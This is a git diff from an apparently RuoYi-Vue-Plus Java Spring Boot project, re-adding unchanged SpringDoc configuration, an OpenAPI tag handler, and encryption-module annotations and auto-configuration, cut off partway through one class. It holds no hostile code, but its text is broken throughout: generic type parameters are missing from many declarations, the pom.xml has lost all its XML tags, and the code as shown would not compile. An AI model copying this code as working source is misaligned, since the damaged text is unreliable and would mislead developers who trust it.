@@ -1,94 +1,94 @@ -package org.dromara.common.doc.config.properties; - -import io.swagger.v3.oas.models.Components; -import io.swagger.v3.oas.models.ExternalDocumentation; -import io.swagger.v3.oas.models.Paths; -import io.swagger.v3.oas.models.info.Contact; -import io.swagger.v3.oas.models.info.License; -import io.swagger.v3.oas.models.tags.Tag; -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.boot.context.properties.NestedConfigurationProperty; - -import java.util.List; - -/** - * swagger 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "springdoc") -public class SpringDocProperties { - - /** - * 文档基本信息 - */ - @NestedConfigurationProperty - private InfoProperties info = new InfoProperties(); - - /** - * 扩展文档地址 - */ - @NestedConfigurationProperty - private ExternalDocumentation externalDocs; - - /** - * 标签 - */ - private List tags = null; - - /** - * 路径 - */ - @NestedConfigurationProperty - private Paths paths = null; - - /** - * 组件 - */ - @NestedConfigurationProperty - private Components components = null; - - /** - *

- * 文档的基础属性信息 - *

- * - * @see io.swagger.v3.oas.models.info.Info - * - * 为了 springboot 自动生产配置提示信息,所以这里复制一个类出来 - */ - @Data - public static class InfoProperties { - - /** - * 标题 - */ - private String title = null; - - /** - * 描述 - */ - private String description = null; - - /** - * 联系人信息 - */ - @NestedConfigurationProperty - private Contact contact = null; - - /** - * 许可证 - */ - @NestedConfigurationProperty - private License license = null; - - /** - * 版本 - */ - private String version = null; - - } - -} +package org.dromara.common.doc.config.properties; + +import io.swagger.v3.oas.models.Components; +import io.swagger.v3.oas.models.ExternalDocumentation; +import io.swagger.v3.oas.models.Paths; +import io.swagger.v3.oas.models.info.Contact; +import io.swagger.v3.oas.models.info.License; +import io.swagger.v3.oas.models.tags.Tag; +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.context.properties.NestedConfigurationProperty; + +import java.util.List; + +/** + * swagger 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "springdoc") +public class SpringDocProperties { + + /** + * 文档基本信息 + */ + @NestedConfigurationProperty + private InfoProperties info = new InfoProperties(); + + /** + * 扩展文档地址 + */ + @NestedConfigurationProperty + private ExternalDocumentation externalDocs; + + /** + * 标签 + */ + private List tags = null; + + /** + * 路径 + */ + @NestedConfigurationProperty + private Paths paths = null; + + /** + * 组件 + */ + @NestedConfigurationProperty + private Components components = null; + + /** + *

+ * 文档的基础属性信息 + *

+ * + * @see io.swagger.v3.oas.models.info.Info + * + * 为了 springboot 自动生产配置提示信息,所以这里复制一个类出来 + */ + @Data + public static class InfoProperties { + + /** + * 标题 + */ + private String title = null; + + /** + * 描述 + */ + private String description = null; + + /** + * 联系人信息 + */ + @NestedConfigurationProperty + private Contact contact = null; + + /** + * 许可证 + */ + @NestedConfigurationProperty + private License license = null; + + /** + * 版本 + */ + private String version = null; + + } + +} diff --git a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/handler/OpenApiHandler.java b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/handler/OpenApiHandler.java index 56b7369..937ea09 100644 --- a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/handler/OpenApiHandler.java +++ b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/handler/OpenApiHandler.java @@ -1,253 +1,253 @@ -package org.dromara.common.doc.handler; - -import cn.hutool.core.io.IoUtil; -import io.swagger.v3.core.jackson.TypeNameResolver; -import io.swagger.v3.core.util.AnnotationsUtils; -import io.swagger.v3.oas.annotations.tags.Tags; -import io.swagger.v3.oas.models.Components; -import io.swagger.v3.oas.models.OpenAPI; -import io.swagger.v3.oas.models.Operation; -import io.swagger.v3.oas.models.Paths; -import io.swagger.v3.oas.models.tags.Tag; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.lang3.StringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.springdoc.core.customizers.OpenApiBuilderCustomizer; -import org.springdoc.core.customizers.ServerBaseUrlCustomizer; -import org.springdoc.core.properties.SpringDocConfigProperties; -import org.springdoc.core.providers.JavadocProvider; -import org.springdoc.core.service.OpenAPIService; -import org.springdoc.core.service.SecurityService; -import org.springdoc.core.utils.PropertyResolverUtils; -import org.springframework.context.ApplicationContext; -import org.springframework.core.annotation.AnnotatedElementUtils; -import org.springframework.util.CollectionUtils; -import org.springframework.web.method.HandlerMethod; - -import java.io.StringReader; -import java.lang.reflect.Method; -import java.util.*; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * 自定义 openapi 处理器 - * 对源码功能进行修改 增强使用 - */ -@Slf4j -@SuppressWarnings("all") -public class OpenApiHandler extends OpenAPIService { - - /** - * The Basic error controller. - */ - private static Class basicErrorController; - - /** - * The Security parser. - */ - private final SecurityService securityParser; - - /** - * The Mappings map. - */ - private final Map mappingsMap = new HashMap<>(); - - /** - * The Springdoc tags. - */ - private final Map springdocTags = new HashMap<>(); - - /** - * The Open api builder customisers. - */ - private final Optional> openApiBuilderCustomisers; - - /** - * The server base URL customisers. - */ - private final Optional> serverBaseUrlCustomizers; - - /** - * The Spring doc config properties. - */ - private final SpringDocConfigProperties springDocConfigProperties; - - /** - * The Cached open api map. - */ - private final Map cachedOpenAPI = new HashMap<>(); - - /** - * The Property resolver utils. - */ - private final PropertyResolverUtils propertyResolverUtils; - - /** - * The javadoc provider. - */ - private final Optional javadocProvider; - - /** - * The Context. - */ - private ApplicationContext context; - - /** - * The Open api. - */ - private OpenAPI openAPI; - - /** - * The Is servers present. - */ - private boolean isServersPresent; - - /** - * The Server base url. - */ - private String serverBaseUrl; - - /** - * Instantiates a new Open api builder. - * - * @param openAPI the open api - * @param securityParser the security parser - * @param springDocConfigProperties the spring doc config properties - * @param propertyResolverUtils the property resolver utils - * @param openApiBuilderCustomizers the open api builder customisers - * @param serverBaseUrlCustomizers the server base url customizers - * @param javadocProvider the javadoc provider - */ - public OpenApiHandler(Optional openAPI, SecurityService securityParser, - SpringDocConfigProperties springDocConfigProperties, PropertyResolverUtils propertyResolverUtils, - Optional> openApiBuilderCustomizers, - Optional> serverBaseUrlCustomizers, - Optional javadocProvider) { - super(openAPI, securityParser, springDocConfigProperties, propertyResolverUtils, openApiBuilderCustomizers, serverBaseUrlCustomizers, javadocProvider); - if (openAPI.isPresent()) { - this.openAPI = openAPI.get(); - if (this.openAPI.getComponents() == null) - this.openAPI.setComponents(new Components()); - if (this.openAPI.getPaths() == null) - this.openAPI.setPaths(new Paths()); - if (!CollectionUtils.isEmpty(this.openAPI.getServers())) - this.isServersPresent = true; - } - this.propertyResolverUtils = propertyResolverUtils; - this.securityParser = securityParser; - this.springDocConfigProperties = springDocConfigProperties; - this.openApiBuilderCustomisers = openApiBuilderCustomizers; - this.serverBaseUrlCustomizers = serverBaseUrlCustomizers; - this.javadocProvider = javadocProvider; - if (springDocConfigProperties.isUseFqn()) - TypeNameResolver.std.setUseFqn(true); - } - - @Override - public Operation buildTags(HandlerMethod handlerMethod, Operation operation, OpenAPI openAPI, Locale locale) { - - Set tags = new HashSet<>(); - Set tagsStr = new HashSet<>(); - - buildTagsFromMethod(handlerMethod.getMethod(), tags, tagsStr, locale); - buildTagsFromClass(handlerMethod.getBeanType(), tags, tagsStr, locale); - - if (!CollectionUtils.isEmpty(tagsStr)) - tagsStr = tagsStr.stream() - .map(str -> propertyResolverUtils.resolve(str, locale)) - .collect(Collectors.toSet()); - - if (springdocTags.containsKey(handlerMethod)) { - io.swagger.v3.oas.models.tags.Tag tag = springdocTags.get(handlerMethod); - tagsStr.add(tag.getName()); - if (openAPI.getTags() == null || !openAPI.getTags().contains(tag)) { - openAPI.addTagsItem(tag); - } - } - - if (!CollectionUtils.isEmpty(tagsStr)) { - if (CollectionUtils.isEmpty(operation.getTags())) - operation.setTags(new ArrayList<>(tagsStr)); - else { - Set operationTagsSet = new HashSet<>(operation.getTags()); - operationTagsSet.addAll(tagsStr); - operation.getTags().clear(); - operation.getTags().addAll(operationTagsSet); - } - } - - if (isAutoTagClasses(operation)) { - - - if (javadocProvider.isPresent()) { - String description = javadocProvider.get().getClassJavadoc(handlerMethod.getBeanType()); - if (StringUtils.isNotBlank(description)) { - io.swagger.v3.oas.models.tags.Tag tag = new io.swagger.v3.oas.models.tags.Tag(); - - // 自定义部分 修改使用java注释当tag名 - List list = IoUtil.readLines(new StringReader(description), new ArrayList<>()); - // tag.setName(tagAutoName); - tag.setName(list.get(0)); - operation.addTagsItem(list.get(0)); - - tag.setDescription(description); - if (openAPI.getTags() == null || !openAPI.getTags().contains(tag)) { - openAPI.addTagsItem(tag); - } - } - } else { - String tagAutoName = splitCamelCase(handlerMethod.getBeanType().getSimpleName()); - operation.addTagsItem(tagAutoName); - } - } - - if (!CollectionUtils.isEmpty(tags)) { - // Existing tags - List openApiTags = openAPI.getTags(); - if (!CollectionUtils.isEmpty(openApiTags)) - tags.addAll(openApiTags); - openAPI.setTags(new ArrayList<>(tags)); - } - - // Handle SecurityRequirement at operation level - io.swagger.v3.oas.annotations.security.SecurityRequirement[] securityRequirements = securityParser - .getSecurityRequirements(handlerMethod); - if (securityRequirements != null) { - if (securityRequirements.length == 0) - operation.setSecurity(Collections.emptyList()); - else - securityParser.buildSecurityRequirement(securityRequirements, operation); - } - - return operation; - } - - private void buildTagsFromMethod(Method method, Set tags, Set tagsStr, Locale locale) { - // method tags - Set tagsSet = AnnotatedElementUtils - .findAllMergedAnnotations(method, Tags.class); - Set methodTags = tagsSet.stream() - .flatMap(x -> Stream.of(x.value())).collect(Collectors.toSet()); - methodTags.addAll(AnnotatedElementUtils.findAllMergedAnnotations(method, io.swagger.v3.oas.annotations.tags.Tag.class)); - if (!CollectionUtils.isEmpty(methodTags)) { - tagsStr.addAll(StreamUtils.toSet(methodTags, tag -> propertyResolverUtils.resolve(tag.name(), locale))); - List allTags = new ArrayList<>(methodTags); - addTags(allTags, tags, locale); - } - } - - private void addTags(List sourceTags, Set tags, Locale locale) { - Optional> optionalTagSet = AnnotationsUtils - .getTags(sourceTags.toArray(new io.swagger.v3.oas.annotations.tags.Tag[0]), true); - optionalTagSet.ifPresent(tagsSet -> { - tagsSet.forEach(tag -> { - tag.name(propertyResolverUtils.resolve(tag.getName(), locale)); - tag.description(propertyResolverUtils.resolve(tag.getDescription(), locale)); - if (tags.stream().noneMatch(t -> t.getName().equals(tag.getName()))) - tags.add(tag); - }); - }); - } - -} +package org.dromara.common.doc.handler; + +import cn.hutool.core.io.IoUtil; +import io.swagger.v3.core.jackson.TypeNameResolver; +import io.swagger.v3.core.util.AnnotationsUtils; +import io.swagger.v3.oas.annotations.tags.Tags; +import io.swagger.v3.oas.models.Components; +import io.swagger.v3.oas.models.OpenAPI; +import io.swagger.v3.oas.models.Operation; +import io.swagger.v3.oas.models.Paths; +import io.swagger.v3.oas.models.tags.Tag; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.springdoc.core.customizers.OpenApiBuilderCustomizer; +import org.springdoc.core.customizers.ServerBaseUrlCustomizer; +import org.springdoc.core.properties.SpringDocConfigProperties; +import org.springdoc.core.providers.JavadocProvider; +import org.springdoc.core.service.OpenAPIService; +import org.springdoc.core.service.SecurityService; +import org.springdoc.core.utils.PropertyResolverUtils; +import org.springframework.context.ApplicationContext; +import org.springframework.core.annotation.AnnotatedElementUtils; +import org.springframework.util.CollectionUtils; +import org.springframework.web.method.HandlerMethod; + +import java.io.StringReader; +import java.lang.reflect.Method; +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * 自定义 openapi 处理器 + * 对源码功能进行修改 增强使用 + */ +@Slf4j +@SuppressWarnings("all") +public class OpenApiHandler extends OpenAPIService { + + /** + * The Basic error controller. + */ + private static Class basicErrorController; + + /** + * The Security parser. + */ + private final SecurityService securityParser; + + /** + * The Mappings map. + */ + private final Map mappingsMap = new HashMap<>(); + + /** + * The Springdoc tags. + */ + private final Map springdocTags = new HashMap<>(); + + /** + * The Open api builder customisers. + */ + private final Optional> openApiBuilderCustomisers; + + /** + * The server base URL customisers. + */ + private final Optional> serverBaseUrlCustomizers; + + /** + * The Spring doc config properties. + */ + private final SpringDocConfigProperties springDocConfigProperties; + + /** + * The Cached open api map. + */ + private final Map cachedOpenAPI = new HashMap<>(); + + /** + * The Property resolver utils. + */ + private final PropertyResolverUtils propertyResolverUtils; + + /** + * The javadoc provider. + */ + private final Optional javadocProvider; + + /** + * The Context. + */ + private ApplicationContext context; + + /** + * The Open api. + */ + private OpenAPI openAPI; + + /** + * The Is servers present. + */ + private boolean isServersPresent; + + /** + * The Server base url. + */ + private String serverBaseUrl; + + /** + * Instantiates a new Open api builder. + * + * @param openAPI the open api + * @param securityParser the security parser + * @param springDocConfigProperties the spring doc config properties + * @param propertyResolverUtils the property resolver utils + * @param openApiBuilderCustomizers the open api builder customisers + * @param serverBaseUrlCustomizers the server base url customizers + * @param javadocProvider the javadoc provider + */ + public OpenApiHandler(Optional openAPI, SecurityService securityParser, + SpringDocConfigProperties springDocConfigProperties, PropertyResolverUtils propertyResolverUtils, + Optional> openApiBuilderCustomizers, + Optional> serverBaseUrlCustomizers, + Optional javadocProvider) { + super(openAPI, securityParser, springDocConfigProperties, propertyResolverUtils, openApiBuilderCustomizers, serverBaseUrlCustomizers, javadocProvider); + if (openAPI.isPresent()) { + this.openAPI = openAPI.get(); + if (this.openAPI.getComponents() == null) + this.openAPI.setComponents(new Components()); + if (this.openAPI.getPaths() == null) + this.openAPI.setPaths(new Paths()); + if (!CollectionUtils.isEmpty(this.openAPI.getServers())) + this.isServersPresent = true; + } + this.propertyResolverUtils = propertyResolverUtils; + this.securityParser = securityParser; + this.springDocConfigProperties = springDocConfigProperties; + this.openApiBuilderCustomisers = openApiBuilderCustomizers; + this.serverBaseUrlCustomizers = serverBaseUrlCustomizers; + this.javadocProvider = javadocProvider; + if (springDocConfigProperties.isUseFqn()) + TypeNameResolver.std.setUseFqn(true); + } + + @Override + public Operation buildTags(HandlerMethod handlerMethod, Operation operation, OpenAPI openAPI, Locale locale) { + + Set tags = new HashSet<>(); + Set tagsStr = new HashSet<>(); + + buildTagsFromMethod(handlerMethod.getMethod(), tags, tagsStr, locale); + buildTagsFromClass(handlerMethod.getBeanType(), tags, tagsStr, locale); + + if (!CollectionUtils.isEmpty(tagsStr)) + tagsStr = tagsStr.stream() + .map(str -> propertyResolverUtils.resolve(str, locale)) + .collect(Collectors.toSet()); + + if (springdocTags.containsKey(handlerMethod)) { + io.swagger.v3.oas.models.tags.Tag tag = springdocTags.get(handlerMethod); + tagsStr.add(tag.getName()); + if (openAPI.getTags() == null || !openAPI.getTags().contains(tag)) { + openAPI.addTagsItem(tag); + } + } + + if (!CollectionUtils.isEmpty(tagsStr)) { + if (CollectionUtils.isEmpty(operation.getTags())) + operation.setTags(new ArrayList<>(tagsStr)); + else { + Set operationTagsSet = new HashSet<>(operation.getTags()); + operationTagsSet.addAll(tagsStr); + operation.getTags().clear(); + operation.getTags().addAll(operationTagsSet); + } + } + + if (isAutoTagClasses(operation)) { + + + if (javadocProvider.isPresent()) { + String description = javadocProvider.get().getClassJavadoc(handlerMethod.getBeanType()); + if (StringUtils.isNotBlank(description)) { + io.swagger.v3.oas.models.tags.Tag tag = new io.swagger.v3.oas.models.tags.Tag(); + + // 自定义部分 修改使用java注释当tag名 + List list = IoUtil.readLines(new StringReader(description), new ArrayList<>()); + // tag.setName(tagAutoName); + tag.setName(list.get(0)); + operation.addTagsItem(list.get(0)); + + tag.setDescription(description); + if (openAPI.getTags() == null || !openAPI.getTags().contains(tag)) { + openAPI.addTagsItem(tag); + } + } + } else { + String tagAutoName = splitCamelCase(handlerMethod.getBeanType().getSimpleName()); + operation.addTagsItem(tagAutoName); + } + } + + if (!CollectionUtils.isEmpty(tags)) { + // Existing tags + List openApiTags = openAPI.getTags(); + if (!CollectionUtils.isEmpty(openApiTags)) + tags.addAll(openApiTags); + openAPI.setTags(new ArrayList<>(tags)); + } + + // Handle SecurityRequirement at operation level + io.swagger.v3.oas.annotations.security.SecurityRequirement[] securityRequirements = securityParser + .getSecurityRequirements(handlerMethod); + if (securityRequirements != null) { + if (securityRequirements.length == 0) + operation.setSecurity(Collections.emptyList()); + else + securityParser.buildSecurityRequirement(securityRequirements, operation); + } + + return operation; + } + + private void buildTagsFromMethod(Method method, Set tags, Set tagsStr, Locale locale) { + // method tags + Set tagsSet = AnnotatedElementUtils + .findAllMergedAnnotations(method, Tags.class); + Set methodTags = tagsSet.stream() + .flatMap(x -> Stream.of(x.value())).collect(Collectors.toSet()); + methodTags.addAll(AnnotatedElementUtils.findAllMergedAnnotations(method, io.swagger.v3.oas.annotations.tags.Tag.class)); + if (!CollectionUtils.isEmpty(methodTags)) { + tagsStr.addAll(StreamUtils.toSet(methodTags, tag -> propertyResolverUtils.resolve(tag.name(), locale))); + List allTags = new ArrayList<>(methodTags); + addTags(allTags, tags, locale); + } + } + + private void addTags(List sourceTags, Set tags, Locale locale) { + Optional> optionalTagSet = AnnotationsUtils + .getTags(sourceTags.toArray(new io.swagger.v3.oas.annotations.tags.Tag[0]), true); + optionalTagSet.ifPresent(tagsSet -> { + tagsSet.forEach(tag -> { + tag.name(propertyResolverUtils.resolve(tag.getName(), locale)); + tag.description(propertyResolverUtils.resolve(tag.getDescription(), locale)); + if (tags.stream().noneMatch(t -> t.getName().equals(tag.getName()))) + tags.add(tag); + }); + }); + } + +} diff --git a/ruoyi-common/ruoyi-common-doc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-doc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index fe11e76..34e134f 100644 --- a/ruoyi-common/ruoyi-common-doc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-doc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.doc.config.SpringDocConfig +org.dromara.common.doc.config.SpringDocConfig diff --git a/ruoyi-common/ruoyi-common-encrypt/pom.xml b/ruoyi-common/ruoyi-common-encrypt/pom.xml index ed4910e..b8f675f 100644 --- a/ruoyi-common/ruoyi-common-encrypt/pom.xml +++ b/ruoyi-common/ruoyi-common-encrypt/pom.xml @@ -1,54 +1,54 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-encrypt - - - ruoyi-common-encrypt 数据加解密模块 - - - - - - org.dromara - ruoyi-common-core - - - - org.bouncycastle - bcprov-jdk15to18 - - - - cn.hutool - hutool-crypto - - - - org.springframework - spring-webmvc - - - - com.baomidou - mybatis-plus-spring-boot3-starter - true - - - org.mybatis - mybatis-spring - - - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-encrypt + + + ruoyi-common-encrypt 数据加解密模块 + + + + + + org.dromara + ruoyi-common-core + + + + org.bouncycastle + bcprov-jdk15to18 + + + + cn.hutool + hutool-crypto + + + + org.springframework + spring-webmvc + + + + com.baomidou + mybatis-plus-spring-boot3-starter + true + + + org.mybatis + mybatis-spring + + + + + + + diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/ApiEncrypt.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/ApiEncrypt.java index 7f52de8..9da36ac 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/ApiEncrypt.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/ApiEncrypt.java @@ -1,20 +1,20 @@ -package org.dromara.common.encrypt.annotation; - -import java.lang.annotation.*; - -/** - * 强制加密注解 - * - * @author Michelle.Chung - */ -@Documented -@Target({ElementType.METHOD}) -@Retention(RetentionPolicy.RUNTIME) -public @interface ApiEncrypt { - - /** - * 响应加密忽略,默认不加密,为 true 时加密 - */ - boolean response() default false; - -} +package org.dromara.common.encrypt.annotation; + +import java.lang.annotation.*; + +/** + * 强制加密注解 + * + * @author Michelle.Chung + */ +@Documented +@Target({ElementType.METHOD}) +@Retention(RetentionPolicy.RUNTIME) +public @interface ApiEncrypt { + + /** + * 响应加密忽略,默认不加密,为 true 时加密 + */ + boolean response() default false; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/EncryptField.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/EncryptField.java index d357d72..8d2ade5 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/EncryptField.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/annotation/EncryptField.java @@ -1,44 +1,44 @@ -package org.dromara.common.encrypt.annotation; - -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; - -import java.lang.annotation.*; - -/** - * 字段加密注解 - * - * @author 老马 - */ -@Documented -@Inherited -@Target({ElementType.FIELD}) -@Retention(RetentionPolicy.RUNTIME) -public @interface EncryptField { - - /** - * 加密算法 - */ - AlgorithmType algorithm() default AlgorithmType.DEFAULT; - - /** - * 秘钥。AES、SM4需要 - */ - String password() default ""; - - /** - * 公钥。RSA、SM2需要 - */ - String publicKey() default ""; - - /** - * 私钥。RSA、SM2需要 - */ - String privateKey() default ""; - - /** - * 编码方式。对加密算法为BASE64的不起作用 - */ - EncodeType encode() default EncodeType.DEFAULT; - -} +package org.dromara.common.encrypt.annotation; + +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; + +import java.lang.annotation.*; + +/** + * 字段加密注解 + * + * @author 老马 + */ +@Documented +@Inherited +@Target({ElementType.FIELD}) +@Retention(RetentionPolicy.RUNTIME) +public @interface EncryptField { + + /** + * 加密算法 + */ + AlgorithmType algorithm() default AlgorithmType.DEFAULT; + + /** + * 秘钥。AES、SM4需要 + */ + String password() default ""; + + /** + * 公钥。RSA、SM2需要 + */ + String publicKey() default ""; + + /** + * 私钥。RSA、SM2需要 + */ + String privateKey() default ""; + + /** + * 编码方式。对加密算法为BASE64的不起作用 + */ + EncodeType encode() default EncodeType.DEFAULT; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/ApiDecryptAutoConfiguration.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/ApiDecryptAutoConfiguration.java index 098f6bc..2f684e1 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/ApiDecryptAutoConfiguration.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/ApiDecryptAutoConfiguration.java @@ -1,32 +1,32 @@ -package org.dromara.common.encrypt.config; - -import jakarta.servlet.DispatcherType; -import org.dromara.common.encrypt.filter.CryptoFilter; -import org.dromara.common.encrypt.properties.ApiDecryptProperties; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.boot.web.servlet.FilterRegistrationBean; -import org.springframework.context.annotation.Bean; - -/** - * api 解密自动配置 - * - * @author wdhcr - */ -@AutoConfiguration -@EnableConfigurationProperties(ApiDecryptProperties.class) -@ConditionalOnProperty(value = "api-decrypt.enabled", havingValue = "true") -public class ApiDecryptAutoConfiguration { - - @Bean - public FilterRegistrationBean cryptoFilterRegistration(ApiDecryptProperties properties) { - FilterRegistrationBean registration = new FilterRegistrationBean<>(); - registration.setDispatcherTypes(DispatcherType.REQUEST); - registration.setFilter(new CryptoFilter(properties)); - registration.addUrlPatterns("/*"); - registration.setName("cryptoFilter"); - registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE); - return registration; - } -} +package org.dromara.common.encrypt.config; + +import jakarta.servlet.DispatcherType; +import org.dromara.common.encrypt.filter.CryptoFilter; +import org.dromara.common.encrypt.properties.ApiDecryptProperties; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; + +/** + * api 解密自动配置 + * + * @author wdhcr + */ +@AutoConfiguration +@EnableConfigurationProperties(ApiDecryptProperties.class) +@ConditionalOnProperty(value = "api-decrypt.enabled", havingValue = "true") +public class ApiDecryptAutoConfiguration { + + @Bean + public FilterRegistrationBean cryptoFilterRegistration(ApiDecryptProperties properties) { + FilterRegistrationBean registration = new FilterRegistrationBean<>(); + registration.setDispatcherTypes(DispatcherType.REQUEST); + registration.setFilter(new CryptoFilter(properties)); + registration.addUrlPatterns("/*"); + registration.setName("cryptoFilter"); + registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE); + return registration; + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/EncryptorAutoConfiguration.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/EncryptorAutoConfiguration.java index fbc4e52..db13c0f 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/EncryptorAutoConfiguration.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/config/EncryptorAutoConfiguration.java @@ -1,49 +1,49 @@ -package org.dromara.common.encrypt.config; - -import com.baomidou.mybatisplus.autoconfigure.MybatisPlusAutoConfiguration; -import com.baomidou.mybatisplus.autoconfigure.MybatisPlusProperties; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.encrypt.core.EncryptorManager; -import org.dromara.common.encrypt.interceptor.MybatisDecryptInterceptor; -import org.dromara.common.encrypt.interceptor.MybatisEncryptInterceptor; -import org.dromara.common.encrypt.properties.EncryptorProperties; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; - -/** - * 加解密配置 - * - * @author 老马 - * @version 4.6.0 - */ -@AutoConfiguration(after = MybatisPlusAutoConfiguration.class) -@EnableConfigurationProperties(EncryptorProperties.class) -@ConditionalOnProperty(value = "mybatis-encryptor.enable", havingValue = "true") -@Slf4j -public class EncryptorAutoConfiguration { - - @Autowired - private EncryptorProperties properties; - - @Bean - public EncryptorManager encryptorManager(MybatisPlusProperties mybatisPlusProperties) { - return new EncryptorManager(mybatisPlusProperties.getTypeAliasesPackage()); - } - - @Bean - public MybatisEncryptInterceptor mybatisEncryptInterceptor(EncryptorManager encryptorManager) { - return new MybatisEncryptInterceptor(encryptorManager, properties); - } - - @Bean - public MybatisDecryptInterceptor mybatisDecryptInterceptor(EncryptorManager encryptorManager) { - return new MybatisDecryptInterceptor(encryptorManager, properties); - } - -} - - - +package org.dromara.common.encrypt.config; + +import com.baomidou.mybatisplus.autoconfigure.MybatisPlusAutoConfiguration; +import com.baomidou.mybatisplus.autoconfigure.MybatisPlusProperties; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.encrypt.core.EncryptorManager; +import org.dromara.common.encrypt.interceptor.MybatisDecryptInterceptor; +import org.dromara.common.encrypt.interceptor.MybatisEncryptInterceptor; +import org.dromara.common.encrypt.properties.EncryptorProperties; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; + +/** + * 加解密配置 + * + * @author 老马 + * @version 4.6.0 + */ +@AutoConfiguration(after = MybatisPlusAutoConfiguration.class) +@EnableConfigurationProperties(EncryptorProperties.class) +@ConditionalOnProperty(value = "mybatis-encryptor.enable", havingValue = "true") +@Slf4j +public class EncryptorAutoConfiguration { + + @Autowired + private EncryptorProperties properties; + + @Bean + public EncryptorManager encryptorManager(MybatisPlusProperties mybatisPlusProperties) { + return new EncryptorManager(mybatisPlusProperties.getTypeAliasesPackage()); + } + + @Bean + public MybatisEncryptInterceptor mybatisEncryptInterceptor(EncryptorManager encryptorManager) { + return new MybatisEncryptInterceptor(encryptorManager, properties); + } + + @Bean + public MybatisDecryptInterceptor mybatisDecryptInterceptor(EncryptorManager encryptorManager) { + return new MybatisDecryptInterceptor(encryptorManager, properties); + } + +} + + + diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptContext.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptContext.java index 35b6b6c..4d2034d 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptContext.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptContext.java @@ -1,41 +1,41 @@ -package org.dromara.common.encrypt.core; - -import lombok.Data; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; - -/** - * 加密上下文 用于encryptor传递必要的参数。 - * - * @author 老马 - * @version 4.6.0 - */ -@Data -public class EncryptContext { - - /** - * 默认算法 - */ - private AlgorithmType algorithm; - - /** - * 安全秘钥 - */ - private String password; - - /** - * 公钥 - */ 